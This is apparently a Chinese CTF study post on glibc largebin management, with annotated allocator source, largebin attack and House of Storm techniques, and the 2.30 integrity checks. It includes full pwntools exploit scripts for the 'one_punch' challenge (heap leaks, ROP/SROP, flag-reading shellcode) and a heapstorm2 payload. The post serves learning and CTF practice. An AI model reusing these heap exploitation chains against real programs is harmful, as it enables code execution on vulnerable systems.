About Largebin
About Largebin
这篇把之前看的合一下。。。
(搞这么细干嘛,费时.....
Largebin 结构
largebin管理的是一个范围区间的堆块,同一size区间内的chunk连至一个main_arena_largebin_index,其中不同size头部之间通过fd_nextsize横向双向相连,相同size通过fd纵向双向相连。
size | index |
---|---|
[0x400 , 0x440) | 64 |
[0x440 , 0x480) | 65 |
[0x480 , 0x4C0) | 66 |
[0x4C0 , 0x500) | 67 |
[0x500 , 0x540) | 68 |
等差 0x40 | … |
[0xC00 , 0xC40) | 96 |
[0xC40 , 0xE00) | 97 |
[0xE00 , 0x1000) | 98 |
[0x1000 , 0x1200) | 99 |
[0x1200 , 0x1400) | 100 |
[0x1400 , 0x1600) | 101 |
等差 0x200 | … |
[0x2800 , 0x2A00) | 111 |
[0x2A00 , 0x3000) | 112 |
[0x3000 , 0x4000) | 113 |
[0x4000 , 0x5000) | 114 |
等差 0x1000 | … |
[0x9000 , 0xA000) | 119 |
[0xA000 , 0x10000) | 120 |
[0x10000 , 0x18000) | 121 |
[0x18000 , 0x20000) | 122 |
[0x20000 , 0x28000) | 123 |
[0x28000 , 0x40000) | 124 |
[0x40000 , 0x80000) | 125 |
[0x80000 , …. ) | 126 |
c代码及图示例
横向+纵向的双向链表
下图c源码:
#gcc -g largebin.c -o large
#include<stdio.h>
int main()
{
char *gap;
char *ptr0=malloc(0x400-0x10); //A
gap=malloc(0x10);
char *ptr1=malloc(0x410-0x10); //B
gap=malloc(0x10);
char *ptr2=malloc(0x420-0x10); //C
gap=malloc(0x10);
char *ptr3=malloc(0x430-0x10); //D
gap=malloc(0x10);
char *ptr4=malloc(0x400-0x10); //E
gap=malloc(0x10);
char *ptr5=malloc(0x410-0x10); //F
gap=malloc(0x10);
char *ptr6=malloc(0x420-0x10); //G
gap=malloc(0x10);
char *ptr7=malloc(0x430-0x10); //H
gap=malloc(0x10);
free(ptr2); //C
free(ptr3); //D
free(ptr0); //A
free(ptr1); //B
free(ptr7); //H
free(ptr6); //G
free(ptr5); //F
free(ptr4); //E
malloc(0x440); //trigger that sort largebin from unsorted bin to largebins
return 0;
}
从unsorted_bin中整理到largebin的结果图:
部分源码
放入large_bin 情况:
(从unsortedbin 整理后)
else//在large bin 的范围
{
victim_index = largebin_index(size);//获取size对应的large bin的index
bck = bin_at(av, victim_index);// **bck指向size对应的large bin的bin堆头(index)**
fwd = bck->fd;//fwd指向size对应的large bin的最大的chunk
//如果large bin 非空,在largbin进行按顺序插入
if (fwd != bck) {
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
assert((bck->bk->size & NON_MAIN_ARENA) == 0);//默认不启用assert
/*
large bin中的chunk是按从大到小排列的,如果size < large bin
的最后一个chunk,说明size是这个large bin中的最小的,直接把它
加入到此large bin尾部。
*/
if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) {
fwd = bck;
bck = bck->bk; //原本size最小的chunk
//因为size不等,故横向插入在该bin的末尾,所以赋值next_size
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
//最大size的chunk的bk_nextsize,和原来最小chunk的fd_nextsize都指向victim
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else //如果victim不是large bin 中最小的chunk
{
assert((fwd->size & NON_MAIN_ARENA) == 0);//默认不启用assert
//从大到小(从头到尾)找到合适的位置(刚好大于的时候或等于)
while ((unsigned long) size < fwd->size) {
fwd = fwd->fd_nextsize;
assert((fwd->size & NON_MAIN_ARENA) == 0);
}
//如果size刚好相等,就直接加入到其后面省的改fd_nextsize和bk_nextsize了
if ((unsigned long) size == (unsigned long) fwd->size)
fwd = fwd->fd;
else
{
//size不相等,即size>fwd->size,把victim加入到bin链表中
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
/*if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");对largebin的fd_nextsize,bk_nextsize的check*/
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
/*if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");*/
}
}
else //如果large bin 为空,直接将victim加入到bin中
victim->fd_nextsize = victim->bk_nextsize = victim;
}
//#define mark_bin(m, i) ((m)->binmap[idx2block (i)] |= idx2bit (i))
mark_bin(av, victim_index); //把victim加入到的bin的表示为非空
//把victim加入到large bin的链表中
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
}
流程小结
1.根据要插入的chunk的大小找到对应largebin的index,并定位该index中的最小的chunk bck
和最大的chunk fwd
。
2.如果fwd
== bck
,表面当前index的largebin为空,则直接插入进bin中并设置为堆头,并给bk_nextsize
和fd_nextsize
赋值为该chunk本身。
3.如果fwd
!= bck
,表明当前index的largebin不为空,则要寻找当前chunk对应的位置并进行插入。首先判断其大小是否小于最小chunk的size size < bck->bk->size
,如果小于则说明该chunk为当前index对应的largebin链表中最小的chunk,直接插至bin末尾即可,无需遍历链表,只需给新chunk(纵向的堆头)的next_size块进行赋值。
4.如果当前chunk不是该index中的最小size,则从大到小(从头到尾)通过fd_nextsize开始遍历该index的largebin,直到找到小于或等于要插入的chunk的size。
5.如果找到的chunk的size等于要插入的chunk的size,及该纵向链表已经有第一块chunk头了,直接插入到其后面即可。并将bk,fd段赋值为bin中相邻的chunk。
6.如果找到的chunk的size小于要当前要插入的chunk的size,则将其作为chunk头(堆头)插到largebin里面,并赋值其fd_nextsize,bk_nextsize。
注意:放入时,libc2.23无对largebin的指针和size检查。
从largebin取出情况:
/*
If a large request, scan through the chunks of current bin in
sorted order to find smallest that fits. Use the skip list for this.
*/
if (!in_smallbin_range (nb))
{
bin = bin_at (av, idx); //找到申请的size对应的largebin链表
/* skip scan if empty or largest chunk is too small */
if ((victim = first (bin)) != bin &&
(unsigned long) (victim->size) >= (unsigned long) (nb)) //第一步,判断链表的第一个结点,即最大的chunk是否大于要申请的size
{
victim = victim->bk_nextsize;
while (((unsigned long) (size = chunksize (victim)) <
(unsigned long) (nb))) //第二步,从最小的chunk开始,反向遍历 chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环
victim = victim->bk_nextsize;
/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
if (victim != last (bin) && victim->size == victim->fd->size) //第三步,申请的chunk对应的chunk存在多个结点,则申请相应堆头的下个结点,不申请堆头。
victim = victim->fd;
remainder_size = size - nb;
unlink (av, victim, bck, fwd); //第四步,largebin unlink 操作
/* Exhaust */
if (remainder_size < MINSIZE) //第五步,如果剩余的空间小于MINSIZE,则将该空间直接给用户
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
}
/* Split */
else
{
remainder = chunk_at_offset (victim, nb); //第六步,如果当前剩余空间还可以构成chunk,则将剩余的空间放入到unsorted bin中。
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks (av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
{
errstr = "malloc(): corrupted unsorted chunks";
goto errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
}
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
流程小结
1.找到申请size对应的index的largebin链表头。
2.判断链表的第一个(最大的)chunk是否大于要申请的size;大于则从最小的chunk头开始,顺着bk_nextsize反向遍历,直到找到第一个大于或等于所申请的size。
3.如果找到的chunk头存在结点,则申请堆头的下一个结点(unlink取下)。(减少操作)
4.如果其剩余的空间小于MINSIZE,则直接返回给用户该chunk。
5.否则将剩余的空间构成新的chunk放入unsortedbin中。
Unlink largebin
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
if (__builtin_expect (chunksize(P) != (next_chunk(P))->prev_size, 0)) \
malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}
流程小结
1.检查即将unlink的chunk P的size是否等于其下一块chunk的prev_size。
2.检查chunk P的fd和bk指针处的chunk的bk和fd是否指回自己。(double-linked list)
3.从bk,fd将P脱链。
4.如果P->fd_nextsize不为空,则检查chunk P的fd_nextsize(bk_nextsize)指针的bk_nextsize(fd_nextsize)是否指回自己;如果FD(p->fd)的fd_nextsize为空,即FD为结点,则查看P是否为该largebin的唯一堆头,是则直接给FD的fd_nextsize(bk_nextsize)赋值为FD,否则给FD的nextsize赋值为P的nextsize;不为空,则直接对P的nextsize指针指向的chunk进行修改nextsize位。如果P->fd_nextsize为空,则不检查P的fd(bk)_nextsize,只有fd,bk的检查。
(即如果unlink的chunk是largebin中非堆头(结点)chunk,则只会检查fd,bk;不会检查nextsize)
largebin attack(libc2.23)
任意地址写入堆地址
libc2.23中放入largebin操作的漏洞点
(无对largebin链的完整性检查)
一
else //如果victim不是large bin 中最小的chunk
{
assert((fwd->size & NON_MAIN_ARENA) == 0);//默认不启用assert
//从大到小(从头到尾)找到合适的位置
while ((unsigned long) size < fwd->size) {
fwd = fwd->fd_nextsize;
assert((fwd->size & NON_MAIN_ARENA) == 0);
}
这里插入时根据条件是否去遍历chunk,但并没有检查chunk_size;即若已放入largebin的chunk的size若被修改,则可以绕过此循环。
二
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
这里原本是将从unsortedbin中的chunk作为堆头插入到largebin
中,但这里缺少fd(bk)_nextsize的检查,即如果largebin中原有的chunk(fwd)的bk_nextsize被修改为我们设置的内容,则存在(第一处)任意地址被写入堆地址。
(set fwd->bk_nextsize
=addr-0x20,at last --> addr = victim)
三
mark_bin(av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
这里原本是修改chunk的fd,bk的段然后链入largebin。但这里也缺乏对fd,bk的检查。即若原largebin中的chunk(fwd)的bk段被修改,则也存在(第二处)任意地址写入堆地址。
(set fwd->bk
=addr-0x20,at last,addr = victim)
(以上均考虑的不同size大小)
libc2.23中从largebin取出操作的漏洞点
if ((victim = first (bin)) != bin &&
(unsigned long) (victim->size) >= (unsigned long) (nb)) //判断链表的第一个结点,即最大的chunk是否大于要申请的size
{
victim = victim->bk_nextsize;
while (((unsigned long) (size = chunksize (victim)) <
(unsigned long) (nb)))
victim = victim->bk_nextsize; //漏洞点,伪造bk_nextsize
if (victim != last (bin) && victim->size == victim->fd->size)
victim = victim->fd;
remainder_size = size - nb;
unlink (av, victim, bck, fwd);
...
return p;
在申请时会反向遍历链表找到第一个大于所需size的chunk并进行申请相应的chunk。由于确实对bk_nextsize
的检查,在其被修改为非预期的内存地址,并且在该地址已经构造好数据从而能通过unlink检查后,用户就可以申请出这块非预期的内存。(通常将伪造的内存空间fd,bk按着smallbin unlink的利用方式设置,nextsize位)
常用于实现overlap chunk 的构造。
小结
-
在向largebin申请时,伪造largebin的
bk_nextsize
实现非预期内存申请。 -
在插入进largebin时,伪造largebin的
bk_nextsize
和bk
分别获得两次任意地址写堆地址。
例题:
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'
execve_file = './one_punch'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
libc = ELF('./libc-2.29.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
pass
def add(index, content):
sh.sendlineafter('> ', '1')
sh.sendlineafter('idx: ', str(index))
sh.sendafter('name: ', content)
def edit(index, content):
sh.sendlineafter('> ', '2')
sh.sendlineafter('idx: ', str(index))
sh.sendafter('name: ', content)
def show(index):
sh.sendlineafter('> ', '3')
sh.sendlineafter('idx: ', str(index))
sh.recvuntil('name: ')
return sh.recvuntil('\n', drop=True)
def delete(index):
sh.sendlineafter('> ', '4')
sh.sendlineafter('idx: ', str(index))
def backdoor(content):
sh.sendlineafter('> ', '50056')
time.sleep(0.1)
sh.send(content)
add(2, 'a' * 0x217)
for i in range(2):
add(0, 'a' * 0x217)
delete(0)
result = show(0)
heap_addr = u64(result.ljust(8, '\0')) & 0xfffffffffffff000
log.success('heap_addr: ' + hex(heap_addr))
for i in range(5):
add(0, 'a' * 0x217)
delete(0)
delete(2)
result = show(2)
libc_addr = u64(result.ljust(8, '\0')) - 0x1e4ca0
log.success('libc_addr: ' + hex(libc_addr))
length = 0xe0
add(0, 'a' * length)
add(0, 'a' * 0x80)
edit(2, '\0' * length + p64(0) + p64(0x21))
delete(0)
edit(2, '\0' * length + p64(0) + p64(0x31))
delete(0)
edit(2, '\0' * length + p64(0) + p64(0x3a1))
delete(0)
for i in range(3):
add(1, 'b' * 0x3a8)
delete(1)
edit(2, '\0' * length + p64(0x300) + p64(0x570) + p64(0) + p64(0) + p64(heap_addr + 0x40) + p64(heap_addr + 0x40))
delete(0)
add(0, 'c' * 0x100 + p64(libc_addr + libc.symbols['__free_hook']) + '\0')
# 0x000000000012be97: mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;
layout = [
libc_addr + 0x0000000000047cf8, #: pop rax; ret;
10,
libc_addr + 0x00000000000cf6c5, #: syscall; ret;
heap_addr + 0x260 + 0xf8,
]
backdoor(p64(libc_addr + 0x000000000012be97) + flat(layout) + '\0')
frame = SigreturnFrame()
frame.rdi = heap_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rsp = libc_addr + libc.symbols['__free_hook'] + 8
frame.rip = libc_addr + 0x55cc4 # ret
shellcode = asm('''
push 0x67616c66 ;// flag
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall
cmp eax, 0
js fail
mov edi, eax
mov rsi, rsp
mov edx, 100
xor eax, eax
syscall ;// read
mov edx, eax
mov rsi, rsp
mov eax, 1
mov edi, eax
syscall ;// write
jmp exit
fail:
mov rax, 0x727265206e65706f ;// open error!
mov [rsp], rax
mov eax, 0x0a21726f
mov [rsp+8], rax
mov rsi, rsp
mov edi, 1
mov edx, 12
mov eax, edi
syscall ;// write
exit:
xor edi, edi
mov eax, 231
syscall
''')
edit(2, p64(libc_addr + 0x55E35) + p64(heap_addr + 0x260) + str(frame)[0x10:] + shellcode)
delete(2)
sh.interactive()
clear()
balsn
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
import time
import random
host = '52.198.120.1'
port = 48763
r = process('./one_punch')
binary = "./one_punch"
context.binary = binary
elf = ELF(binary)
try:
libc = ELF("./libc-2.29.so")
log.success("libc load success")
system_off = libc.symbols.system
log.success("system_off = "+hex(system_off))
except:
log.failure("libc not found !")
def name(index, name):
r.recvuntil("> ")
r.sendline("1")
r.recvuntil(": ")
r.sendline(str(index))
r.recvuntil(": ")
r.send(name)
pass
def rename(index,name):
r.recvuntil("> ")
r.sendline("2")
r.recvuntil(": ")
r.sendline(str(index))
r.recvuntil(": ")
r.send(name)
pass
def d(index):
r.recvuntil("> ")
r.sendline("4")
r.recvuntil(": ")
r.sendline(str(index))
pass
def show(index):
r.recvuntil("> ")
r.sendline("3")
r.recvuntil(": ")
r.sendline(str(index))
def magic(data):
r.recvuntil("> ")
r.sendline(str(0xc388))
time.sleep(0.1)
r.send(data)
# if len(sys.argv) == 1:
# r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."})
# else:
# r = remote(host ,port)
if __name__ == '__main__':
name(0,"A"*0x210)
d(0)
name(1,"A"*0x210)
d(1)
show(1)
r.recvuntil(" name: ")
heap = u64(r.recv(6).ljust(8,"\x00")) - 0x260
print("heap = {}".format(hex(heap)))
for i in xrange(5):
name(2,"A"*0x210)
d(2)
name(0,"A"*0x210)
name(1,"A"*0x210)
d(0)
show(0)
r.recvuntil(" name: ")
libc = u64(r.recv(6).ljust(8,"\x00")) - 0x1e4ca0
print("libc = {}".format(hex(libc)))
d(1)
rename(2,p64(libc + 0x1e4c30))
name(0,"D"*0x90)
d(0)
for i in xrange(7):
name(0,"D"*0x80)
d(0)
for i in xrange(7):
name(0,"D"*0x200)
d(0)
name(0,"D"*0x200)
name(1,"A"*0x210)
name(2,p64(0x21)*(0x90/8))
rename(2,p64(0x21)*(0x90/8))
d(2)
name(2,p64(0x21)*(0x90/8))
rename(2,p64(0x21)*(0x90/8))
d(2)
d(0)
d(1)
name(0,"A"*0x80)
name(1,"A"*0x80)
d(0)
d(1)
name(0,"A"*0x88 + p64(0x421) + "D"*0x180 )
name(2,"A"*0x200)
d(1)
d(2)
name(2,"A"*0x200)
rename(0,"A"*0x88 + p64(0x421) + p64(libc + 0x1e5090)*2 + p64(0) + p64(heap+0x10) )
d(0)
d(2)
pause()
name(0,"/home/ctf/flag\x00\x00" + "A"*0x1f0)
magic("A")
add_rsp48 = libc + 0x000000000008cfd6
pop_rdi = libc + 0x0000000000026542
pop_rsi = libc + 0x0000000000026f9e
pop_rdx = libc + 0x000000000012bda6
pop_rax = libc + 0x0000000000047cf8
syscall = libc + 0xcf6c5
magic( p64(add_rsp48))
name(0,p64(pop_rdi) + p64(heap + 0x24d0) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall) +
p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(0) + p64(syscall) +
p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(1) + p64(syscall)
)
r.interactive()
House of storm(libc2.23)
house of storm是一个任意可写地址申请漏洞。利用largebin两次写堆地址伪造出来了一个堆块,同时利用unsorted bin attack将该伪造的堆块链接到unsorted bin中,实现任意地址申请。(但利用条件也苛刻)
(ps:含unsortedbin attack 此攻击在libc2.29时就无啦!)
漏洞利用条件
- glibc版本小于2.30,因为2.30之后加入了检查
- 需要攻击者在
large_bin
和unsorted_bin
中分别布置一个chunk 这两个chunk需要在归位之后处于同一个largebin
的index中且unsorted_bin
中的chunk要比large_bin
中的大 - 需要
unsorted_bin
中的bk指针
可控 - 需要
large_bin
中的bk指针和bk_nextsize
指针可控
控制好的内容:
- unsorted_chunk->bk = fake_chunk
1.把vicitm从unsorted chunk 移出时:
//我们控制unsorted_chunk->bk = fake_chunk
(unsortedbin attack)
//unsorted_chunks(av)->bk = fake_chunk(fake_chunk链入unsortedbin)
unsorted_chunks(av)->bk = unsorted_chunk->bk;
//fake_chunk+0x10(fake_fd) = unsorted_bin (fd==bk)
bck->fd = unsorted_chunks(av);
- 修改了
unsorted_chunks(av)->bk
指向fakechunk - 修改了fakechunk的
fd
为unsortedbin_chunks(av)
[fd==bk]
2.把unsorted chunk 插入到largebin时:
控制好的内容:
-
large_chunk->bk = fake_chunk+0x8
-
large_chunk->bk_nextsize=fake_chunk-0x18-5
{
unsorted_chunk->fd_nextsize = largbin_chunk;
//unsorted_chunk->bk_nextsize = fake_chunk-0x18-5
unsorted_chunk->bk_nextsize = largbin_chunk->bk_nextsize;
largbin_chunk->bk_nextsize = unsorted_chunk;
//fake_chunk+0x3(fake_size) = unsorted_chunk
unsorted_chunk->bk_nextsize->fd_nextsize = unsorted_chunk;
}
//bck = fake_chunk+0x8
bck = largebin_chunk->bk
unsorted_chunk->bk = bck;
unsorted_chunk->fd = largbin_chunk;
largbin_chunk->bk = unsorted_chunk;
//fake_chunk+0x18(fake_bk) = unsorted_chunk
bck->fd = unsorted_chunk;
- 修改了fake_chunk的size
- 修改了fake_chunk的bk
exp示例
例题:0ctf2018heapstorm2
#申请 0x13370800-0x20 这块fake_chunk
fake_chunk = 0x13370800 - 0x20
payload = '\x00' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(7, payload) #修改unsorted chunk的bk
payload = '\x00' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) + p64(0) + p64(fake_chunk-0x18-5)
'''*(0x13370800-0x20-0x18-5+0x20)=victim
victim->bk_nextsize->fd_nextsize = victim;
伪造fake_chunk的size位为0x56'''
edit(8, payload) #修改 large chunk 的 bk 和 bk_nextsize
add(0x48) #2 -> 0x133707e0 成功将申请到了heaparray附近
之所以要求是\x56,因为需要满足一个检查,即chunk的mmap标志位置位:
assert (!mem || chunk_is_mmapped (mem2chunk (mem)) ||
av == arena_for_chunk (mem2chunk (mem)));
多运行几次即可达到目的。
largebin attack(libc2.30)
前言
由于 glibc-2.29 新上的保护措施,使得 unsorted bin attack 基本已经成为过去式。
从glibc-2.30开始,largebin的插入代码中新增了两个检查:(即增加了largebin双向链表的完整性检查包括fd_nextsize,fd)
else //如果victim不是large bin 中最小的chunk
{
assert((fwd->size & NON_MAIN_ARENA) == 0);//默认不启用assert
//从大到小(从头到尾)找到合适的位置
while ((unsigned long) size < fwd->size) {
fwd = fwd->fd_nextsize;
assert((fwd->size & NON_MAIN_ARENA) == 0);
}
//如果size刚好相等,就直接加入到其后面省的改fd_nextsize和bk_nextsize了
if ((unsigned long) size == (unsigned long) fwd->size)
fwd = fwd->fd;
else
{
//size不相等,即size>fwd->size,把victim加入到bin链表中
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
// New check
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");//对largebin的fd_nextsize,bk_nextsize的check
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
// New check
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
}
}
后续再更....